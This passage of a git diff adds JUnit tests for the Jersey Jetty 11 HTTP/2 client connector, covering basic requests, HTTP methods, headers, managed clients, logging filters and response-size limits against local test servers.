jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.InvocationCallback; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; +import java.util.concurrent.CountDownLatch; +import java.util.concurrent.TimeUnit; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; + +public class HelloWorldTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(HelloWorldTest.class.getName()); + private static final String ROOT_PATH = "helloworld"; + + @Path("helloworld") + public static class HelloWorldResource { + public static final String CLICHED_MESSAGE = "Hello World!"; + + @GET + @Produces("text/plain") + public String getHello() { + return CLICHED_MESSAGE; + } + + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(HelloWorldResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyHttp2ConnectorProvider()); + } + + @Test + public void testConnection() { + Response response = target().path(ROOT_PATH).request("text/plain").get(); + assertEquals(200, response.getStatus()); + } + + @Test + public void testClientStringResponse() { + String s = target().path(ROOT_PATH).request().get(String.class); + assertEquals(HelloWorldResource.CLICHED_MESSAGE, s); + } + + @Test + public void testAsyncClientRequests() throws InterruptedException { + final int REQUESTS = 20; + final CountDownLatch latch = new CountDownLatch(REQUESTS); + final long tic = System.currentTimeMillis(); + for (int i = 0; i < REQUESTS; i++) { + final int id = i; + target().path(ROOT_PATH).request().async().get(new InvocationCallback() { + @Override + public void completed(Response response) { + try { + final String result = response.readEntity(String.class); + assertEquals(HelloWorldResource.CLICHED_MESSAGE, result); + } finally { + latch.countDown(); + } + } + + @Override + public void failed(Throwable error) { + error.printStackTrace(); + latch.countDown(); + } + }); + } + latch.await(10 * getAsyncTimeoutMultiplier(), TimeUnit.SECONDS); + final long toc = System.currentTimeMillis(); + Logger.getLogger(HelloWorldTest.class.getName()).info("Executed in: " + (toc - tic)); + } + + @Test + public void testHead() { + Response response = target().path(ROOT_PATH).request().head(); + assertEquals(200, response.getStatus()); + assertEquals(MediaType.TEXT_PLAIN_TYPE, response.getMediaType()); + } + + @Test + public void testFooBarOptions() { + Response response = target().path(ROOT_PATH).request().header("Accept", "foo/bar").options(); + assertEquals(200, response.getStatus()); + final String allowHeader = response.getHeaderString("Allow"); + _checkAllowContent(allowHeader); + assertEquals("foo/bar", response.getMediaType().toString()); + assertEquals(0, response.getLength()); + } + + @Test + public void testTextPlainOptions() { + Response response = target().path(ROOT_PATH).request().header("Accept", MediaType.TEXT_PLAIN).options(); + assertEquals(200, response.getStatus()); + final String allowHeader = response.getHeaderString("Allow"); + _checkAllowContent(allowHeader); + assertEquals(MediaType.TEXT_PLAIN_TYPE, response.getMediaType()); + final String responseBody = response.readEntity(String.class); + _checkAllowContent(responseBody); + } + + private void _checkAllowContent(final String content) { + assertTrue(content.contains("GET")); + assertTrue(content.contains("HEAD")); + assertTrue(content.contains("OPTIONS")); + } + + @Test + public void testMissingResourceNotFound() { + Response response; + + response = target().path(ROOT_PATH + "arbitrary").request().get(); + assertEquals(404, response.getStatus()); + response.close(); + + response = target().path(ROOT_PATH).path("arbitrary").request().get(); + assertEquals(404, response.getStatus()); + response.close(); + } + + @Test + public void testLoggingFilterClientClass() { + Client client = client(); + client.register(CustomLoggingFilter.class).property("foo", "bar"); + CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0; + String s = target().path(ROOT_PATH).request().get(String.class); + assertEquals(HelloWorldResource.CLICHED_MESSAGE, s); + assertEquals(1, CustomLoggingFilter.preFilterCalled); + assertEquals(1, CustomLoggingFilter.postFilterCalled); + client.close(); + } + + @Test + public void testLoggingFilterClientInstance() { + Client client = client(); + client.register(new CustomLoggingFilter()).property("foo", "bar"); + CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0; + String s = target().path(ROOT_PATH).request().get(String.class); + assertEquals(HelloWorldResource.CLICHED_MESSAGE, s); + assertEquals(1, CustomLoggingFilter.preFilterCalled); + assertEquals(1, CustomLoggingFilter.postFilterCalled); + client.close(); + } + + @Test + public void testLoggingFilterTargetClass() { + WebTarget target = target().path(ROOT_PATH); + target.register(CustomLoggingFilter.class).property("foo", "bar"); + CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0; + String s = target.request().get(String.class); + assertEquals(HelloWorldResource.CLICHED_MESSAGE, s); + assertEquals(1, CustomLoggingFilter.preFilterCalled); + assertEquals(1, CustomLoggingFilter.postFilterCalled); + } + + @Test + public void testLoggingFilterTargetInstance() { + WebTarget target = target().path(ROOT_PATH); + target.register(new CustomLoggingFilter()).property("foo", "bar"); + CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0; + String s = target.request().get(String.class); + assertEquals(HelloWorldResource.CLICHED_MESSAGE, s); + assertEquals(1, CustomLoggingFilter.preFilterCalled); + assertEquals(1, CustomLoggingFilter.postFilterCalled); + } + + @Test + public void testConfigurationUpdate() { + Client client1 = client(); + client1.register(CustomLoggingFilter.class).property("foo", "bar"); + + Client client = ClientBuilder.newClient(client1.getConfiguration()); + CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0; + String s = target().path(ROOT_PATH).request().get(String.class); + assertEquals(HelloWorldResource.CLICHED_MESSAGE, s); + assertEquals(1, CustomLoggingFilter.preFilterCalled); + assertEquals(1, CustomLoggingFilter.postFilterCalled); + client.close(); + } + +} \ No newline at end of file diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/Http2PresenceTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/Http2PresenceTest.java new file mode 100644 index 00000000000..71b1361c012 --- /dev/null +++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/Http2PresenceTest.java @@ -0,0 +1,110 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.eclipse.jetty.client.HttpClient; +import org.eclipse.jetty.http2.client.http.HttpClientTransportOverHTTP2; +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.spi.ConnectorProvider; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.HeaderParam; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Context; +import jakarta.ws.rs.core.HttpHeaders; +import jakarta.ws.rs.core.Response; +import java.util.List; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; + + +/** + * Tests the HTTP2 presence. + * + */ +public class Http2PresenceTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(Http2PresenceTest.class.getName()); + + @Path("/test") + public static class HttpMethodResource { + @POST + public String post( + @HeaderParam("Transfer-Encoding") String transferEncoding, + @HeaderParam("X-CLIENT") String xClient, + @HeaderParam("X-WRITER") String xWriter, + String entity) { + assertEquals("client", xClient); + return "POST"; + } + + @GET + public String testUserAgent(@Context HttpHeaders httpHeaders) { + final List requestHeader = httpHeaders.getRequestHeader(HttpHeaders.USER_AGENT); + if (requestHeader.size() != 1) { + return "FAIL"; + } + return requestHeader.get(0); + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(HttpMethodResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyHttp2ConnectorProvider()); + } + + @Test + public void testPost() { + Response response = target().path("test").request().header("X-CLIENT", "client").post(null); + + assertEquals(200, response.getStatus()); + assertTrue(response.hasEntity()); + } + + @Test + public void testHttp2Presence() { + final ConnectorProvider provider = ((ClientConfig) target().getConfiguration()).getConnectorProvider(); + assertTrue(provider instanceof JettyHttp2ConnectorProvider); + + final HttpClient client = ((JettyHttp2ConnectorProvider) provider).getHttpClient(target()); + assertTrue(client.getTransport() instanceof HttpClientTransportOverHTTP2); + } + + /** + * Test, that {@code User-agent} header is as set by Jersey, not by underlying Jetty client. + */ + @Test + public void testUserAgent() { + String response = target().path("test").request().get(String.class); + assertTrue(response.startsWith("Jersey"), "User-agent header should start with 'Jersey', but was " + response); + } +} diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HttpHeadersTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HttpHeadersTest.java new file mode 100644 index 00000000000..cb3b3198a30 --- /dev/null +++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HttpHeadersTest.java @@ -0,0 +1,93 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.HeaderParam; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Context; +import jakarta.ws.rs.core.HttpHeaders; +import jakarta.ws.rs.core.Response; +import java.util.List; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; + +public class HttpHeadersTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(HttpHeadersTest.class.getName()); + + @Path("/test") + public static class HttpMethodResource { + @POST + public String post( + @HeaderParam("Transfer-Encoding") String transferEncoding, + @HeaderParam("X-CLIENT") String xClient, + @HeaderParam("X-WRITER") String xWriter, + String entity) { + assertEquals("client", xClient); + return "POST"; + } + + @GET + public String testUserAgent(@Context HttpHeaders httpHeaders) { + final List requestHeader = httpHeaders.getRequestHeader(HttpHeaders.USER_AGENT); + if (requestHeader.size() != 1) { + return "FAIL"; + } + return requestHeader.get(0); + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(HttpMethodResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyHttp2ConnectorProvider()); + } + + @Test + public void testPost() { + Response response = target().path("test").request().header("X-CLIENT", "client").post(null); + + assertEquals(200, response.getStatus()); + assertTrue(response.hasEntity()); + } + + /** + * Test, that {@code User-agent} header is as set by Jersey, not by underlying Jetty client. + */ + @Test + public void testUserAgent() { + String response = target().path("test").request().get(String.class); + assertTrue(response.startsWith("Jersey"), "User-agent header should start with 'Jersey', but was " + response); + } +} \ No newline at end of file diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ManagedClientTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ManagedClientTest.java new file mode 100644 index 00000000000..215408bd25d --- /dev/null +++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ManagedClientTest.java @@ -0,0 +1,250 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ClientBinding; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.server.Uri; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.Produces; +import jakarta.ws.rs.client.ClientRequestContext; +import jakarta.ws.rs.client.ClientRequestFilter; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.container.ContainerRequestContext; +import jakarta.ws.rs.container.ContainerRequestFilter; +import jakarta.ws.rs.container.DynamicFeature; +import jakarta.ws.rs.container.ResourceInfo; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.FeatureContext; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; +import java.io.IOException; +import java.lang.annotation.Documented; +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class ManagedClientTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(ManagedClientTest.class.getName()); + + /** + * Managed client configuration for client A. + */ + @ClientBinding(configClass = MyClientAConfig.class) + @Documented + @Retention(RetentionPolicy.RUNTIME) + @Target({ElementType.FIELD, ElementType.PARAMETER}) + public static @interface ClientA { + } + + /** + * Managed client configuration for client B. + */ + @ClientBinding(configClass = MyClientBConfig.class) + @Documented + @Retention(RetentionPolicy.RUNTIME) + @Target({ElementType.FIELD, ElementType.PARAMETER}) + public @interface ClientB { + } + + /** + * Dynamic feature that appends a properly configured {@link CustomHeaderFilter} instance + * to every method that is annotated with {@link Require @Require} internal feature + * annotation. + */ + public static class CustomHeaderFeature implements DynamicFeature { + + /** + * A method annotation to be placed on those resource methods to which a validating + * {@link CustomHeaderFilter} instance should be added. + */ + @Retention(RetentionPolicy.RUNTIME) + @Documented + @Target(ElementType.METHOD) + public static @interface Require { + + /** + * Expected custom header name to be validated by the {@link CustomHeaderFilter}. + */ + public String headerName(); + + /** + * Expected custom header value to be validated by the {@link CustomHeaderFilter}. + */ + public String headerValue(); + } + + @Override + public void configure(ResourceInfo resourceInfo, FeatureContext context) { + final Require va = resourceInfo.getResourceMethod().getAnnotation(Require.class); + if (va != null) { + context.register(new CustomHeaderFilter(va.headerName(), va.headerValue())); + } + } + } + + /** + * A filter for appending and validating custom headers. + *

    + * On the client side, appends a new custom request header with a configured name and value to each outgoing request. + *

    + *

    + * On the server side, validates that each request has a custom header with a configured name and value. + * If the validation fails a HTTP 403 response is returned. + *

    + */ + public static class CustomHeaderFilter implements ContainerRequestFilter, ClientRequestFilter { + + private final String headerName; + private final String headerValue; + + public CustomHeaderFilter(String headerName, String headerValue) { + if (headerName == null || headerValue == null) { + throw new IllegalArgumentException("Header name and value must not be null."); + } + this.headerName = headerName; + this.headerValue = headerValue; + } + + @Override + public void filter(ContainerRequestContext ctx) throws IOException { // validate + if (!headerValue.equals(ctx.getHeaderString(headerName))) { + ctx.abortWith(Response.status(Response.Status.FORBIDDEN) + .type(MediaType.TEXT_PLAIN) + .entity(String + .format("Expected header '%s' not present or value not equal to '%s'", headerName, headerValue)) + .build()); + } + } + + @Override + public void filter(ClientRequestContext ctx) throws IOException { // append + ctx.getHeaders().putSingle(headerName, headerValue); + } + } + + /** + * Internal resource accessed from the managed client resource. + */ + @Path("internal") + public static class InternalResource { + + @GET + @Path("a") + @CustomHeaderFeature.Require(headerName = "custom-header", headerValue = "a") + public String getA() { + return "a"; + } + + @GET + @Path("b") + @CustomHeaderFeature.Require(headerName = "custom-header", headerValue = "b") + public String getB() { + return "b"; + } + } + + /** + * A resource that uses managed clients to retrieve values of internal + * resources 'A' and 'B', which are protected by a {@link CustomHeaderFilter} + * and require a specific custom header in a request to be set to a specific value. + *

    + * Properly configured managed clients have a {@code CustomHeaderFilter} instance + * configured to insert the {@link CustomHeaderFeature.Require required} custom header + * with a proper value into the outgoing client requests. + *

    + */ + @Path("public") + public static class PublicResource { + + @Uri("a") + @ClientA // resolves to /internal/a + private WebTarget targetA; + + @GET + @Produces("text/plain") + @Path("a") + public String getTargetA() { + return targetA.request(MediaType.TEXT_PLAIN).get(String.class); + } + + @GET + @Produces("text/plain") + @Path("b") + public Response getTargetB(@Uri("internal/b") @ClientB WebTarget targetB) { + return targetB.request(MediaType.TEXT_PLAIN).get(); + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(PublicResource.class, InternalResource.class, CustomHeaderFeature.class) + .property(ClientA.class.getName() + ".baseUri", this.getBaseUri().toString() + "internal"); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + public static class MyClientAConfig extends ClientConfig { + + public MyClientAConfig() { + this.register(new CustomHeaderFilter("custom-header", "a")); + } + } + + public static class MyClientBConfig extends ClientConfig { + + public MyClientBConfig() { + this.register(new CustomHeaderFilter("custom-header", "b")); + } + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyHttp2ConnectorProvider()); + } + + /** + * Test that a connection via managed clients works properly. + * + * @throws Exception in case of test failure. + */ + @Test + public void testManagedClient() throws Exception { + final WebTarget resource = target().path("public").path("{name}"); + Response response; + + response = resource.resolveTemplate("name", "a").request(MediaType.TEXT_PLAIN).get(); + assertEquals(200, response.getStatus()); + assertEquals("a", response.readEntity(String.class)); + + response = resource.resolveTemplate("name", "b").request(MediaType.TEXT_PLAIN).get(); + assertEquals(200, response.getStatus()); + assertEquals("b", response.readEntity(String.class)); + } + +} \ No newline at end of file diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/MethodTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/MethodTest.java new file mode 100644 index 00000000000..8412c41ebbd --- /dev/null +++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/MethodTest.java @@ -0,0 +1,146 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.DELETE; +import jakarta.ws.rs.GET; +import jakarta.ws.rs.PATCH; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.PUT; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; +import java.util.concurrent.ExecutionException; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class MethodTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(MethodTest.class.getName()); + + private static final String PATH = "test"; + + @Path("/test") + public static class HttpMethodResource { + @GET + public String get() { + return "GET"; + } + + @POST + public String post(String entity) { + return entity; + } + + @PUT + public String put(String entity) { + return entity; + } + + @PATCH + public String patch(String entity) { + return entity; + } + + @DELETE + public String delete() { + return "DELETE"; + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(HttpMethodResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyHttp2ConnectorProvider()); + } + + @Test + public void testGet() { + Response response = target(PATH).request().get(); + assertEquals("GET", response.readEntity(String.class)); + } + + @Test + public void testGetAsync() throws ExecutionException, InterruptedException { + Response response = target(PATH).request().async().get().get(); + assertEquals("GET", response.readEntity(String.class)); + } + + @Test + public void testPost() { + Response response = target(PATH).request().post(Entity.entity("POST", MediaType.TEXT_PLAIN)); + assertEquals("POST", response.readEntity(String.class)); + } + + @Test + public void testPostAsync() throws ExecutionException, InterruptedException { + Response response = target(PATH).request().async().post(Entity.entity("POST", MediaType.TEXT_PLAIN)).get(); + assertEquals("POST", response.readEntity(String.class)); + } + + @Test + public void testPut() { + Response response = target(PATH).request().put(Entity.entity("PUT", MediaType.TEXT_PLAIN)); + assertEquals("PUT", response.readEntity(String.class)); + } + + @Test + public void testPutAsync() throws ExecutionException, InterruptedException { + Response response = target(PATH).request().async().put(Entity.entity("PUT", MediaType.TEXT_PLAIN)).get(); + assertEquals("PUT", response.readEntity(String.class)); + } + + @Test + public void testDelete() { + Response response = target(PATH).request().delete(); + assertEquals("DELETE", response.readEntity(String.class)); + } + + @Test + public void testDeleteAsync() throws ExecutionException, InterruptedException { + Response response = target(PATH).request().async().delete().get(); + assertEquals("DELETE", response.readEntity(String.class)); + } + + @Test + public void testPatch() { + Response response = target(PATH).request().method("PATCH", Entity.entity("PATCH", MediaType.TEXT_PLAIN)); + assertEquals("PATCH", response.readEntity(String.class)); + } + + @Test + public void testOptionsWithEntity() { + Response response = target(PATH).request().build("OPTIONS", Entity.text("OPTIONS")).invoke(); + assertEquals(200, response.getStatus()); + response.close(); + } +} \ No newline at end of file diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/NoEntityTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/NoEntityTest.java new file mode 100644 index 00000000000..1c14296c4b7 --- /dev/null +++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/NoEntityTest.java @@ -0,0 +1,95 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; +import java.util.logging.Logger; + +public class NoEntityTest extends JerseyTest { + private static final Logger LOGGER = Logger.getLogger(NoEntityTest.class.getName()); + + @Path("/test") + public static class HttpMethodResource { + @GET + public Response get() { + return Response.status(Response.Status.CONFLICT).build(); + } + + @POST + public void post(String entity) { + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(HttpMethodResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyHttp2ConnectorProvider()); + } + + @Test + public void testGet() { + WebTarget r = target("test"); + + for (int i = 0; i < 5; i++) { + Response cr = r.request().get(); + cr.close(); + } + } + + @Test + public void testGetWithClose() { + WebTarget r = target("test"); + for (int i = 0; i < 5; i++) { + Response cr = r.request().get(); + cr.close(); + } + } + + @Test + public void testPost() { + WebTarget r = target("test"); + for (int i = 0; i < 5; i++) { + Response cr = r.request().post(null); + } + } + + @Test + public void testPostWithClose() { + WebTarget r = target("test"); + for (int i = 0; i < 5; i++) { + Response cr = r.request().post(null); + cr.close(); + } + } +} \ No newline at end of file diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/SyncResponseSizeTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/SyncResponseSizeTest.java new file mode 100644 index 00000000000..e3b2c3d0075 --- /dev/null +++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/SyncResponseSizeTest.java @@ -0,0 +1,161 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.ClientProperties; +import org.glassfish.jersey.jetty.connector.JettyClientProperties; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; +import java.net.URI; +import java.util.concurrent.ExecutionException; +import java.util.concurrent.TimeoutException; +import java.util.logging.Logger; + +import static org.hamcrest.CoreMatchers.instanceOf; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.junit.jupiter.api.Assertions.fail; + +public class SyncResponseSizeTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(SyncResponseSizeTest.class.getName()); + + private static final int maxBufferSize = 4 * 1024 * 1024; //4 MiB + + @Path("/test") + public static class TimeoutResource { + + private static final byte[] data = new byte[maxBufferSize]; + + static { + Byte b = "a".getBytes()[0]; + for (int i = 0; i < maxBufferSize; i++) data[i] = b.byteValue(); + } + + @GET + @Path("/small") + public String getSmall() { + return "GET"; + } + + @GET + @Path("/big") + public String getBig() { + return new String(data); + } + + @GET + @Path("/verybig") + public String getVeryBig() { + return new String(data) + "a"; + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(TimeoutResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyHttp2ConnectorProvider()); + } + + @Test + public void testDefaultSmall() { + Response r = target("test/small").request().get(); + assertEquals(200, r.getStatus()); + assertEquals("GET", r.readEntity(String.class)); + } + + @Test + public void testDefaultTooBig() { + final URI u = target().getUri(); + ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + + Client c = ClientBuilder.newClient(config); + WebTarget t = c.target(u); + try { + t.path("test/big").request().get(); + fail("Exception expected."); + } catch (ProcessingException e) { + // Buffering capacity ... exceeded. + assertTrue(ExecutionException.class.isInstance(e.getCause())); + assertTrue(IllegalArgumentException.class.isInstance(e.getCause().getCause())); + } finally { + c.close(); + } + } + + @Test + public void testCustomBig() { + final URI u = target().getUri(); + ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + config.property(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE, maxBufferSize); + + Client c = ClientBuilder.newClient(config); + WebTarget t = c.target(u); + try { + Response r = t.path("test/big").request().get(); + String p = r.readEntity(String.class); + assertEquals(p.length(), maxBufferSize); + } catch (ProcessingException e) { + assertThat("Unexpected processing exception cause", + e.getCause(), instanceOf(TimeoutException.class)); + } finally { + c.close(); + } + } + + @Test + public void testCustomTooBig() { + final URI u = 